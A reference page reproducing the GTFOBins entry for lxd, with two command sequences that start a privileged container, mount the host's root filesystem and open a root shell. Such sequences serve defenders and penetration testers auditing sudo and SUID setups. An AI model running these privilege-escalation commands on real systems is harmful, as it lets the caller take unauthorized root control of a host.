Identifier / Programs / Linux and Unix
lxd
GTFOBins shell 2 documented commands
How lxd is abused
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for lxd.
2 documented commands
shell with sudo, as SUID
The image (e.g., ubuntu:16.04) must be present already, otherwise it will be downloaded.
lxc init ubuntu:16.04 x -c security.privileged=true
lxc config device add x x disk source=/ path=/mnt/ recursive=true
lxc start x
lxc exec x /bin/shshell with sudo, as SUID
This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with lxd-alpine-builder:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine -a i686lxc image import ./alpine*.tar.gz --alias x
lxc init x x -c security.privileged=true
lxc config device add x x disk source=/ path=/mnt/ recursive=true
lxc start x
lxc exec x /bin/shThese commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for lxd. The identifier reads the line of each that runs lxd.